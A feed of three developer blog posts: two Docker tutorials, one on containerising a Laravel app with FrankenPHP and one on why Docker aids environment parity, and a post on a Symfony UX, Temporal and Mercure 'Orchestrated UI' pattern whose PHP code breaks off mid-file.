DEV Community: Paul Clegg

Demystifying Docker - Part 2

Paul Clegg — Sat, 10 Jan 2026 18:18:30 +0000

In this article I'm going to walk through containerising a Laravel application. Along the way I'll cover some of the terminology you'll hear around Docker, some of the console commands and Dockerfile syntax.

First up, creating a new Laravel project:

$ docker run --rm \
    -v "$PWD":/app \
    composer/composer:latest create-project laravel/laravel yorkshire

I'm going to use Laravel Octaneand FrankenPHP. Partly because I haven't had the opportunity to use FrankenPHP yet, partly because of what is considered best practice with Docker. One process per container.

I don't want to use Apache. The other typical setup is PHP-FPM but that requires a separate web server (usually nginx), which means either separate containers (fine) or bundling both into a single container (less fine).

Bundling multiple services into a single container usually means running a process manager (like supervisord) as PID 1. This does work, but there's a big caveat. Docker (and orchestration layers like Docker Compose, ECS/Fargate, Kubernetes) track a container's liveness by the main process. If supervisord stays up then the container is "running".

In reality PHP-FPM or Nginx could have failed to start entirely, but at a glance your container is "healthy". I've been caught out by this once, I don't intend to get caught out by it again.

Runtimes like RoadRunner, FrankenPHP and Swoole avoid this problem entirely. The PHP runtime and the web server live in a single process. If anything goes wrong, the container exits which is the behaviour that container orchestrators expect.

$ docker run --rm \
    -v "$PWD":/app \
    composer/composer:latest require laravel/octane

The next step in the Octane documentation is to run an artisan command. I don't have PHP installed locally but I'm intending to use PHP 8.5.

$ docker run --rm \
    -v "$PWD":/app \
    -w /app \
    php:8.5-cli-alpine php artisan octane:install --server=frankenphp

Unable to find image 'php:8.5-cli-alpine' locally
8.5-cli-alpine: Pulling from library/php
f6b4fb944634: Already exists
a5424cfab6c5: Pull complete
ac4b4071f0ce: Pull complete
d98a03c89a0f: Pull complete
41a52491245a: Pull complete
89e9bac55326: Pull complete
bd6b7d8f5444: Pull complete
75b6e1e057da: Pull complete
8d87f65bbf37: Pull complete
Digest: sha256:f2f83d213e6edfe0e05144dfd7cc6aa1ea1d8bc446aa834d27a36ca1049091be
Status: Downloaded newer image for php:8.5-cli-alpine

0% [░░░░░░░░░░░░░░░░░░░░░░░░░░░░] 1378/152388328 bytes
3% [░░░░░░░░░░░░░░░░░░░░░░░░░░░░] 4961420/152388328 bytes
8% [▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░] 13447421/152388328 bytes
10% [▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░] 15413501/152388328 bytes
15% [▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░] 23279294/152388328 bytes
19% [▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░] 29898430/152388328 bytes
20% [▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░] 30521022/152388328 bytes
27% [▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░] 41810290/152388328 bytes
30% [▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░] 45741440/152388328 bytes
36% [▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░] 55211105/152388328 bytes
40% [▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░] 60961889/152388328 bytes
43% [▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░] 66896682/152388328 bytes
49% [▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░] 74891071/152388328 bytes
50% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░] 76201791/152388328 bytes
54% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░] 83156799/152388328 bytes
58% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░] 89258050/152388328 bytes
60% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░] 91463554/152388328 bytes
65% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░] 99742940/152388328 bytes
68% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░] 104789376/152388328 bytes
70% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░] 106672987/152388328 bytes
76% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░] 117129834/152388328 bytes
80% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░] 121926250/152388328 bytes
86% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░] 131513103/152388328 bytes
89% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░] 136884263/152388328 bytes
90% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░] 137277479/152388328 bytes
95% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░] 144792704/152388328 bytes
99% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░] 151533651/152388328 bytes
100% [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 152388328/152388328 bytes
   INFO Octane installed successfully.

How do you know if someone is from Yorkshire?

Don't worry they'll tell you.

If you didn't clock the best tea in the world in the banner image, shame on you. To make the article and the containerised application a bit more interesting I asked Chat-GPT Codex to create a few static pages about Yorkshire. The vast majority of people who read my blog, don't live in the UK, so a perfect opportunity to talk about where I live.

Codex's idea of tongue-in-cheek Yorkshire humour is quite something as well...

Dockerfile

So far I’ve run composer and artisan using pre-built images from Docker Hub. To run a Laravel application, we need something more custom — a Dockerfile. You can think of a Dockerfile as a set of build instructions that tell Docker how to assemble an image.

A Dockerfile always starts with FROM - you have to start from something.

The other commands you'll most often use are:

COPY: Works much like cp. Used to copy files from your local machine into the container
WORKDIR: Acts like cd inside the container. It sets the default directory for every command that follows.
RUN: Think of this as a bash shell running inside the container. apt update, mkdir storage, composer install, rm -rf *
ENTRYPOINT: This tells Docker: "When this container starts, this is the main process." It turns the container into a single executable. npm run dev, php artisan octane:start, cowsay eyup mush

https://docs.docker.com/reference/dockerfile/

FROM dunglas/frankenphp:php8.5.1

# Install required PHP extensions
RUN install-php-extensions \
    opcache \
    pcntl \
    zip

# Copy the composer executable from the Composer docker image
COPY --from=composer/composer:latest /usr/bin/composer /usr/bin/composer

# Copy the source code from our local machine into the /app directory in the container
COPY . /app

# Create the storage directories and set permissions
RUN mkdir -p \
    storage/framework/sessions \
    storage/framework/views \
    storage/framework/cache \
    storage/logs \
    bootstrap/cache \
    && chmod -R 777 storage bootstrap/cache

# Run composer install
RUN /usr/bin/composer install --no-dev --optimize-autoloader

# When this container starts, this is the single command it runs.
# We start 'octane', which serves the application.
ENTRYPOINT ["php", "artisan", "octane:frankenphp"]

We will also need a .dockerignore file. This functions in much the same way as .gitignore.

Currently the Dockerfile copies everything from our local machine to the container. We don't want to copy the vendor or the storage directories into the container.

# .dockerignore

vendor/
storage/

Once that's in place - we need to build an image from our instructions (Dockerfile).

A Docker image is an immutable snapshot containing everything required to run the application. You won’t see a single file appear anywhere when it’s created, because an image isn’t a file in the traditional sense. It’s a collection of filesystem layers that Docker stores and manages for you.

Once an image is built, it never changes. If you want to alter anything, you build a new image.

$ docker build -t yorkshire .

 => [internal] load build definition from Dockerfile 0.0s
 => => transferring dockerfile: 817B 0.0s
 => [internal] load metadata for docker.io/dunglas/frankenphp:php8.5.1 1.5s
 => [internal] load metadata for docker.io/composer/composer:latest 0.0s
 => [auth] dunglas/frankenphp:pull token for registry-1.docker.io 0.0s
 => [internal] load .dockerignore 0.0s
 => => transferring context: 57B 0.0s
 => [stage-0 1/6] FROM docker.io/dunglas/frankenphp:php8.5.1@sha256:7082c1dfeb256a5dd65961e790253aad859e8fd7ff2f38e54d43f81c0735fafe 0.0s
 => FROM docker.io/composer/composer:latest 0.0s
 => [internal] load build context 0.0s
 => => transferring context: 28.77kB 0.0s
 => CACHED [stage-0 2/6] RUN install-php-extensions opcache pcntl zip 0.0s
 => CACHED [stage-0 3/6] COPY --from=composer/composer:latest /usr/bin/composer /usr/bin/composer 0.0s
 => [stage-0 4/6] COPY . /app 0.4s
 => [stage-0 5/6] RUN /usr/bin/composer install --no-dev --optimize-autoloader 6.7s
 => [stage-0 6/6] RUN mkdir -p storage/framework/sessions storage/framework/views storage/framework/cache storage/logs bootstrap/cache && chmod -R 777 storage bootstrap/cach 0.2s
 => exporting to image 0.4s
 => => exporting layers 0.4s
 => => writing image sha256:3eb9a344b2ea1ca1b2235a07f21432ae0f672f794a2c33d147f346038b892b9b 0.0s
 => => naming to docker.io/library/yorkshire

Breaking down that command we get:

docker build: Hey Docker, build me an image
-t yorkshire: Tag the image as yorkshire
.: Look for the Dockerfile in the current directory

Assuming that finished without errors - you've just built a containerised Laravel application.

Simples.

A Warning on `:latest`

You will often see tutorials use php:latest or mysql:latest. Whilst convenient, I would not recommend.

At the time of writing, php:latest resolves to version 8.5.1. That won't always be true. In production, always be explicit. Pin your versions (php:8.5.1). Otherwise, one day you'll restart a container and get a Windows style update - one you didn't ask for.

Building a containerised application probably feels a bit anticlimatic. As I mentioned earlier it doesn't even generate any artifacts you can see in your filesystem. No folder full of compiled output, no large image file. The image exists inside Docker's internal storage and you interact with it through Docker commands.

So let's run the thing.

The command docker run creates a running container from an image. If an image is a snapshot, a container is that snapshot brought to life - a running process with a filesystem, network and process space.

Unlike earlier when we ran composer or PHP via Docker, our application needs to accept incoming web requests. By default, containers are isolated from the host machine's network. Nothing gets in or out unless you explicitly allow it.

That's where port publishing comes in. The -p flag creates a tunnel between your machine and the container. FrankenPHP binds HTTP to port 8000 and HTTPS to port 443 inside the container, so we need to map those to ports on our local machine.

$ docker run -p 80:8000 -p 443:443 -p 443:443/udp yorkshire

INFO Server running….  

Local: http://127.0.0.1:8000 

Press Ctrl+C to stop the server

WARN Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies.  

WARN HTTP/2 skipped because it requires TLS.  

WARN HTTP/3 skipped because it requires TLS.

Breaking down the command we get:

docker run: Create and start a container
-p 80:8000: Port publishing, in the format host:container. Requests hitting port 80 on my machine get forwarded to port 8000 inside the container. Why not just use 8000:8000? I could, but port 80 is the default for HTTP - it means I can visit http://localhost instead of http://localhost:8000.
-p 443:443: Same idea for HTTPS traffic.
-p 443:443/udp: HTTP/3 runs on QUIC, which uses UDP rather than TCP. Without this, you're limited to HTTP/1.1 and HTTP/2. FrankenPHP supports HTTP/3 out of the box, so we might as well enable it.
yorkshire: The image to run. Docker checks locally first, then pulls from Docker Hub if it can't find it.

Opening http://localhost in my browser, I'm presented with a website about the best county in England:

I've pushed the image to Docker Hub so you can run it yourself without building anything.

$ docker build --platform=linux/amd64 -t clegginabox/yorkshire .
$ docker push clegginabox/yorkshire

The --platform=linux/amd64 flag is worth a mention. By default, Docker builds images for your host machine's architecture. I'm on an Apple Silicon Mac, which means without that flag I'd get an ARM64 image. That's fine locally, but most cloud servers run on x86_64.

Now, anyone can pull and run it:

$ docker run -p 80:8000 -p 443:443 -p 443:443/udp clegginabox/yorkshire

My AWS account is managed by Terraform, so spinning up the infrastructure to host this was straightforward (maybe a topic for another day). You can see it running here:

https://yorkshire.clegginabox.uk

A small confession: the image I've actually deployed is slightly different from what we've built here. I'm using a multi-stage build to keep the final image size lean and to make sure there's no build-time dependencies (like Composer) in the runtime image. I'll cover this in more detail in the future.

This is no good for local development

What we've built works brilliantly for deployment. Build an image, push it, run it anywhere. But for local development? No thanks.

If I try and add another translation to the homepage - "Sort thi sen art". I save the file, refresh the browser, nothing changes.

If you remember what I said earlier, Docker images are immutable. If you want to make a change - you need to build another image. That means running docker build which runs composer install. Then docker run again. I've got no time for that faffin' about.

Thankfully there's a nice solution to this problem - Docker Compose.

To conclude

We've gone from an empty directory to a containerised Laravel application running on FrankenPHP. Along the way we've covered:

Why single-process containers matter for orchestration
The core Dockerfile instructions: FROM, COPY, WORKDIR, RUN, and ENTRYPOINT
The difference between images and containers
Building, tagging, and running containers

The same image I built and ran on my Mac is now running on AWS. That's the promise of containers - and we've not even got to the good bit yet.

In Part 3, I'll cover setting up a complete development stack with Docker Compose. In Part 4, I'll tackle security hardening, multi-stage builds, health checks and other production steps.

If there's anything in particular you want to see let me know in the comments below. React? Vue? Meilisearch? Running multiple compose projects at the same time?

Demystifying Docker

Paul Clegg — Fri, 09 Jan 2026 18:08:18 +0000

Fairly frequently I stumble across a post in /r/PHP that's asking a question. I answer the question in my head before the comments have loaded. The top comment typically has the same word that's in my head - Docker.

The most recent question asked - how do you run multiple versions of PHP in a project?

Docker was the most upvoted comment. The alternatives ranged from installing all versions locally, Laravel Herd, Laragon, custom bash scripts and web server configurations.

None of those alternatives appeal to me personally - but I'm also not here to tell you you're wrong. If your setup works, it works.

These frequent questions made me wonder if what looks like an aversion to Docker is really just a lack of familiarity. The recent outcry over Sail being removed from Laravel reinforced this (Sail isn't much more than a Dockerfile and a thin CLI wrapper around docker compose). If people were upset about losing that, maybe Docker itself isn't the problem - it's just that nobody's shown them what's behind the curtain.

So allow me to explain why "Docker" is so often the answer.

But it works on my machine

Back when I started this job - the only viable option to run a project locally was to install everything locally. There were tools like WAMP and LAMP that would get you most of the way there, but if you needed multiple versions of PHP or MySQL - good luck to you.

If you had one project that used Apache, one that used NGINX, both bound to port 80 - you'd have to remember to turn one off and the other one on.

If your project had any kind of worker or consumer, you'd have to remember to start it up every morning, and remind your colleagues that the reason "it's not working" is because they forgot to do the same.

Onboarding a new developer meant a full day (if you were lucky) of "just follow the README" followed by "oh yeah, you also need to do this, and this, and this."

When it came to working with other developers? "It works on my machine". Someone would push a new feature, your setup would break and it would take you half a day to find the cause - a different version of a PHP extension you installed 3 years ago.

Eventually your machine would be such a maze of dependencies and versions you'd wipe it all, start again from scratch and pray you could remember every step you needed to take to get it working again.

I'm sure Laragon and Laravel Herd have come a long way since those days. But one problem remains: they're still abstractions that hide complexity.

If you're using Laragon, you're developing on Windows. Your application almost certainly deploys to Linux. Laragon teaches you nothing about that environment (ask me how I know). It won't tell you that your code is about to break production because of a case-sensitive filename mismatch. It won't catch that you've installed a new PHP extension on your machine but not in the cloud. "It works on my machine" is solved - but what happens when your machine isn't the one that matters?

What you really want is parity. When your local environment matches staging, matches production, matches every other developer's machine, an entire category of problems simply disappears.

Virtualisation

Virtual Machines have been around since the 1960s. If you run one yourself, it's a bit like operating system inception: a computer inside a computer. (If you spin up an EC2 instance or a Droplet, you're essentially doing this on a remote server).

However, using VMs for local development didn't strictly become the standard until Vagrant came along.

You could run an actual Linux VM on your Windows or Mac machine, define it in a Vagrantfile, and suddenly everyone on the team had the same environment. Pair it with something like Ansible and you could automate the provisioning. Setting up a new project moved from a day of frustration to typing vagrant up.

If you used the same Ansible playbooks for staging and production, you finally had environment parity.

But it was slow. You were booting a full OS inside your own OS. It required gigabytes of RAM per project and minutes to start up. Every provisioning tweak meant waiting five minutes just to see if it worked.

Containerisation

Photo by Tim G / Unsplash

The next step in this evolution was containers. You can think of containers as lightweight VMs. They are typically used to package up an application with a minimal version of an operating system.

By minimal I mean tiny. Debian ~50MB, Ubuntu ~30MB and Alpine Linux is under 5MB.

$ docker run -it --name my-alpine alpine:latest /bin/sh
$ docker stats my-alpine

CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
e1348853906b my-alpine 0.01% 1MiB / 19.56GiB 0.00% 1.13kB / 126B 639kB / 0B 1

Running a shell on Alpine Linux on a Mac - A 4MB download, less than 0.01% CPU usage and 1MB RAM. It started in under a second. No waiting for an OS to boot. No provisioning. Just running.

To me, the most impressive thing? I just ran a shell inside another operating system with a single command.

$ cat /etc/os-release
cat: /etc/os-release: No such file or directory

$ docker run --rm alpine:latest cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.23.2
PRETTY_NAME="Alpine Linux v3.23"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"

⚠️

Calling containers lightweight VMs isn't technically accurate but it works for a mental model. Click here to read an in-depth explanation of the differences.

Because containers are so fast and so lightweight they open up new ways of working.

Remember the question of running multiple PHP versions?

# docker.php

<?php
echo "Hello from PHP " . phpversion() . "\n";

I created the file above on my local machine.

$ docker run --rm \
  -v "$PWD":/app \
  -w /app \
  php:7.4-cli php docker.php

Hello from PHP 7.4.33

$ docker run --rm \
  -v "$PWD":/app \
  -w /app \
  php:8.5-cli php docker.php

Hello from PHP 8.5.1

The PHP images are larger: around 180MB. So not as instant on a slow connection. But I didn't install PHP 7.4. I didn't install PHP 8.5. No config changes, no messing with my shell. I asked Docker to run my script with those versions, then throw the containers away (--rm).

For those unfamiliar with Docker, let's demystify what just happened.

docker run: Hey Docker, start a container
--rm: When it's done, remove it, don't clutter up my machine
-v "$PWD":/app: Map the current directory on my local machine to the /app directory inside the container. This is the key bit - my machine has the file to run, the container has PHP
-w /app: Set the working directory inside the container
php:8.5-cli: Use this specific image, if I don't already have it - download it.
php docker.php: The command to run (from the /app directory)

You can repeat this same process with loads of things.

Run composer install even without PHP installed on a machine.

$ docker run --rm \
    -v "$PWD":/app \
    composer/composer:latest install

Have a project that only works with older versions of Node?

$ docker run --rm \
  -v "$PWD":/app \
  -w /app \
  node:18-alpine npm run build

You don't need to install ffmpeg just to convert a MOV to an MP4.

$ docker run --rm \
    -v "$PWD":/tmp \
    mwader/static-ffmpeg:latest \
    -i demo.mov demo.mp4

Anyone reading this article could create the same docker.php and use the same docker run commands and they will get precisely the same output, every time. Not all that impressive for a single echo statement but the fact holds, regardless of a single echo or an entire framework.

This is great if someone has already built a container image with what you need. That's not always the case though. Thankfully it's easy enough to make your own.

Dockerfile

There's nothing inherently special about any of the images I used above.

You could create your own version of php:8.5-cli with a single Dockerfile

FROM debian:trixie

# Install the compilers and libraries we need
RUN apt update && apt install -y pkg-config build-essential autoconf bison re2c libxml2-dev libsqlite3-dev

# Download the PHP 8.5 source code
ADD https://www.php.net/distributions/php-8.5.1.tar.gz /tmp/php.tar.gz

# Extract, Configure, Compile, and Install
RUN tar -xf /tmp/php.tar.gz -C /tmp \
    && cd /tmp/php-8.5.1 \
    && ./configure --disable-all --enable-cli --with-sqlite3 \
    && make -j $(nproc) \
    && make install

⚠️

Note: This is a drastic oversimplification for educational purposes. The official images on Docker Hub are maintained by experts - use them.

$ docker build -t my-php .
$ docker run my-php php -v

PHP 8.5.1 (cli) (built: Jan 9 2026 19:50:18) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.5.1, Copyright (c) Zend Technologies
    with Zend OPcache v8.5.1, Copyright (c), by Zend Technologies

Unlike Vagrant, where your starting point was always a blank operating system that you had to provision, Docker containers can be anything: from a minimal Alpine Linux OS to a full AI inference system like Whisper.

Installing PHP from source isn't something you're likely to be doing. So a more realistic use case.

The official PHP images don't come with every possible extension installed (for obvious reasons I hope). If you're using PHP in a project, you'll likely need to install some yourself.

If you try to install extensions manually, you often hit a wall of missing system libraries. You want gd? You need libpng-dev first. You want zip? You need libzip-dev first.

Thankfully mlocati/php-extension-installer makes it simple.

FROM php:8.5-cli

# https://github.com/mlocati/docker-php-extension-installer
COPY --from=mlocati/php-extension-installer /usr/bin/install-php-extensions /usr/local/bin/

# Install PHP extensions
RUN install-php-extensions bcmath opcache zip intl pcntl sockets pdo_pgsql redis curl

Run docker build or reference the Dockerfile from your compose.yaml and you've extended the official PHP 8.5 image by installing some extensions.

There is one other massive benefit to building your own images: Time.

If you have ever tried to install the grpc extension, you know the pain—it can take 15+ minutes to compile on a modern machine. Nobody needs to sit around waiting for that.

The beauty of Docker is that you can build the image once, push it to a registry (like Docker Hub), and then pull the finished product instantly.

I actually got so fed up with waiting for grpc to compile that I created a repository to pre-build it for every PHP version. Now, instead of waiting 15 minutes, I just change one line:

# Instead of compiling from scratch...
# FROM php:8.4-cli

# I use my pre-built image with gRPC already inside:
FROM clegginabox/php-grpc:8.4-cli

15 minutes saved every time I set up a project or edit the Dockerfile.

So why does any of this matter?

When you commit a Dockerfile to a repository, you aren't just saying "here's my code, good luck running it." You're saying "here is my code, and here is the exact environment it runs in."

If you've lived through the pain of inconsistent environments - the wasted hours, the "but it works on my machine," the slow VMs –Docker is the payoff.

So next time someone says "just use Docker," they're not being dismissive. They probably just remember what it was like before.

Orchestrated UI with Symfony UX and Mercure

Paul Clegg — Wed, 07 Jan 2026 18:14:42 +0000

In a previous post I wrote about a workflow/server driven UI using Symfony Forms and React. I created a demo to go with it, but it was rough and incomplete. Plus having a back-end sending a JSON representation of a form was only ever going to get me so far.

The demo used a Temporal Workflow which mapped "steps" to Symfony forms. An API endpoint returned a JSON Schema representation of the Symfony form to a React app for rendering. Once the form was submitted, the workflow would move onto the next "step" and return a different form. This process repeated until the workflow completed.

The use case I had in mind for this process was vehicle breakdown handling, it's a very complex procedure - there's many forks in the path, steps with external dependencies, many different members of staff could be involved and it could potentially span weeks of time. I didn't want to use React for this; it meant one more codebase, one more deployment, and one more thing to go wrong.

I've been aware of Symfony UX for quite some time, I'd just never had the time nor opportunity to use it. I did wonder if it was possible to implement the same pattern with it. That way - all the code is PHP and it's all in the same codebase.

As for "the pattern" - I'm calling it Orchestrated UI. It isn't Server-Driven UI as the workflow manages the state, and the interface follows. I’m not sure if this is a standard pattern yet - if you know of similar examples or a better name, please let me know!

Recently, I finally found time to dive into Symfony UX. I’ve almost finished a project which I hope to deploy as a live demo soon. It uses this same pattern to integrate multiple LLMs, human-in-the-loop steps, a live scoreboard and a few other bits.

In the meantime I wanted to share some simpler examples and the (sort of) library I've created to build it.

It works a bit like this:

A controller starts a workflow and redirects to a workflow‑specific URL.
A Live Component queries the workflow state and renders the correct step UI.
Form submissions signal the workflow with step data.
The workflow executes step handlers (including timed steps and activities), updates state, and publishes updates.
Mercure pushes those updates to the browser so the UI re-renders without polling.

Below is a video of the 'Takeaway' example.

Almost no Javascript was harmed in the making of this demo

The server controls the view. A hard refresh brings you right back to the correct step. Zero complex state management required.

I’ve considered many use cases for this pattern, but one stands out - it was just too large to build for this specific demo: The Bulk CSV Import.

I'm sure we've all had to build one. A client wants the ability to batch create users or products. It sounds simple enough but it's typically a headache.

Do you validate the entire file upfront, rejecting 10,000 valid rows just because Column 6 on Row 231 is invalid?

Do you process it in the background and send an email report later with all the rows that failed?

If you offload it to a queue - how do you pipe the progress back to the browser?

With an Orchestrated UI, the workflow can process the file row-by-row (or fan out and process multiple concurrently) and stream the progress back to the user. Crucially, if it hits an invalid row, it can tell the UI to render a pre-populated form for that specific item. The user fixes it and the workflow continues, all while the rest of the file processes in the background.

You've seen the end result in the video above. So onto some code.

The Blueprint

For the Takeaway demo, the steps range from interactive user actions (ordering) to passive states (waiting for food).

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway;

enum Takeaway: string
{
    case MENU = 'menu';
    case ADDRESS = 'address';
    case MAP = 'map';
    case PREPARE_FOOD = 'prepare_food';
    case DELIVER_FOOD = 'deliver_food';
    case DELIVERED = 'delivered';
}

Here is the flow we are modeling:

MENU: The user selects what they want to order.
ADDRESS: The user enters their name and address.
MAP: The system geocodes the address; the user confirms the pin location on a map.
PREPARE_FOOD: A passive state where the user waits while food is prepared.
DELIVER_FOOD: A passive state while the food is out for delivery.
DELIVERED: The process completes.

Interactive steps need a structure to capture user input. We use standard DTOs to hold the data and Symfony Forms to validate it.

For example, the Address step requires a DTO:

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Dto;

class AddressDto
{
    public ?string $name = null;

    public ?string $street = null;

    public ?string $city = null;

    public ?string $postcode = null;

    public ?string $instructions = null;
}

And a corresponding FormType to render the inputs:

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Form;

use App\Demo\Takeaway\Dto\AddressDto;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\Extension\Core\Type\TextareaType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;

/**
 * @extends AbstractType<AddressDto>
 */
class AddressType extends AbstractType
{
    public function buildForm(FormBuilderInterface $builder, array $options): void
    {
        $builder
            ->add('name', TextType::class, [
                'label' => 'Name',
                'attr' => ['placeholder' => 'Alex Rider'],
            ])
            ->add('street', TextType::class, [
                'label' => 'Street address',
                'attr' => ['placeholder' => '22 Market Street'],
            ])
            ->add('city', TextType::class, [
                'label' => 'City',
                'attr' => ['placeholder' => 'London'],
            ])
            ->add('postcode', TextType::class, [
                'label' => 'Postcode',
                'attr' => ['placeholder' => 'E1 6AN'],
            ])
            ->add('instructions', TextareaType::class, [
                'label' => 'Delivery instructions',
                'required' => false,
                'attr' => [
                    'rows' => 2,
                    'placeholder' => 'Door code, drop-off spot, etc.',
                ],
            ]);
    }

    public function configureOptions(OptionsResolver $resolver): void
    {
        $resolver->setDefaults([
            'label' => 'Delivery address',
            'help' => 'We will ask you to confirm the location on the map next.',
            'data_class' => AddressDto::class,
        ]);
    }
}

With the input structures defined, we build the Workflow State. This is the single source of truth, persisted by Temporal and pushed to the UI via Mercure.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway;

use App\Demo\Takeaway\Dto\AddressDto;
use App\Demo\Takeaway\Dto\MenuSelectionDto;
use App\StepKit\FlowState;

class TakeawayState extends FlowState
{
    public ?string $orderNumber = null;

    public ?MenuSelectionDto $menu = null;

    public ?AddressDto $address = null;

    public bool $mapConfirmed = false;

    public ?float $latitude = null;

    public ?float $longitude = null;
}

Next, we define the logic. Each step maps to a Handler that executes the business rules.

This is the heart of the 'Orchestrated UI' pattern. Notice the Workflow::await call below. The workflow pauses execution here - blocking until the condition is met.

This is why you don't need complex frontend state management. If the user hard-refreshes or visits from a different device, the UI just asks the server 'Where were we?' and the workflow replies, 'I'm still waiting for the address.'"

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Handler;

use App\Demo\Takeaway\Takeaway;
use App\Demo\Takeaway\TakeawayState;
use App\Demo\Takeaway\Workflow\Activities\TakeawayActivitiesInterface;
use App\StepKit\FlowState;
use App\StepKit\StepHandlerInterface;
use App\StepKit\StepResult;
use Generator;
use Temporal\Workflow;

/**
 * @implements StepHandlerInterface<TakeawayState>
 */
class AddressHandler implements StepHandlerInterface
{
    /**
     * @param TakeawayState $state
     */
    public function execute(FlowState $state, object $activity, ?object $notifier = null): Generator
    {
        yield Workflow::await(
            static fn(): bool => $state->address !== null
        );

        /** @var TakeawayActivitiesInterface $activity */
        $location = yield $activity->geocodeAddress($state->address);

        if ($location?->getCoordinates() !== null) {
            $state->latitude = $location->getCoordinates()->getLatitude();
            $state->longitude = $location->getCoordinates()->getLongitude();
        }

        return StepResult::next(Takeaway::MAP);
    }
}

Finally, we wire everything together in the Step Catalog.

This registry tells the engine exactly which Live Component to render for a given step, and which Form/DTO to use if input is required. It connects the backend logic directly to the frontend view.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway;

use App\Demo\Takeaway\Dto\AddressDto;
use App\Demo\Takeaway\Dto\MapConfirmDto;
use App\Demo\Takeaway\Dto\MenuSelectionDto;
use App\Demo\Takeaway\Form\AddressType;
use App\Demo\Takeaway\Form\MapConfirmType;
use App\Demo\Takeaway\Form\MenuType;
use App\Demo\Takeaway\Handler\AddressHandler;
use App\Demo\Takeaway\Handler\DeliverFoodHandler;
use App\Demo\Takeaway\Handler\DeliveredHandler;
use App\Demo\Takeaway\Handler\MapConfirmHandler;
use App\Demo\Takeaway\Handler\MenuHandler;
use App\Demo\Takeaway\Handler\PrepareFoodHandler;
use App\StepKit\StepDefinition;

final readonly class TakeawaySteps
{
    /**
     * @return StepDefinition[]
     */
    public static function all(): array
    {
        return [
            new StepDefinition(
                id: Takeaway::MENU,
                handlerClass: MenuHandler::class,
                liveComponent: 'TakeawayForm',
                formType: MenuType::class,
                dtoClass: MenuSelectionDto::class,
            ),
            new StepDefinition(
                id: Takeaway::ADDRESS,
                handlerClass: AddressHandler::class,
                liveComponent: 'TakeawayForm',
                formType: AddressType::class,
                dtoClass: AddressDto::class,
            ),
            new StepDefinition(
                id: Takeaway::MAP,
                handlerClass: MapConfirmHandler::class,
                liveComponent: 'TakeawayMapConfirm',
                formType: MapConfirmType::class,
                dtoClass: MapConfirmDto::class,
            ),
            new StepDefinition(
                id: Takeaway::PREPARE_FOOD,
                handlerClass: PrepareFoodHandler::class,
                liveComponent: 'TakeawayPreparing',
            ),
            new StepDefinition(
                id: Takeaway::DELIVER_FOOD,
                handlerClass: DeliverFoodHandler::class,
                liveComponent: 'TakeawayOutForDelivery',
            ),
            new StepDefinition(
                id: Takeaway::DELIVERED,
                handlerClass: DeliveredHandler::class,
                liveComponent: 'TakeawayDelivered',
                terminal: true
            ),
        ];
    }
}

The Orchestrator

Now the steps are defined, we need a way to run them. This is where the Temporal Workflow comes in.

The workflow has two main responsibilities - accept signals from the UI (form submissions) and iterate over the steps.

Here is the TakeawayWorkflow

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Workflow;

use App\Demo\Takeaway\Takeaway;
use App\Demo\Takeaway\TakeawayState;
use App\Demo\Takeaway\TakeawaySteps;
use App\Demo\Takeaway\Workflow\Activities\TakeawayActivitiesInterface;
use App\StepKit\StepCatalog;
use App\StepKit\StepEngine;
use App\StepKit\Workflow\Activities\NotifierActivitiesInterface;
use Generator;
use Temporal\Activity\ActivityOptions;
use Temporal\Common\RetryOptions;
use Temporal\Internal\Workflow\ActivityProxy;
use Temporal\Workflow;
use Temporal\Workflow\QueryMethod;
use Temporal\Workflow\SignalMethod;
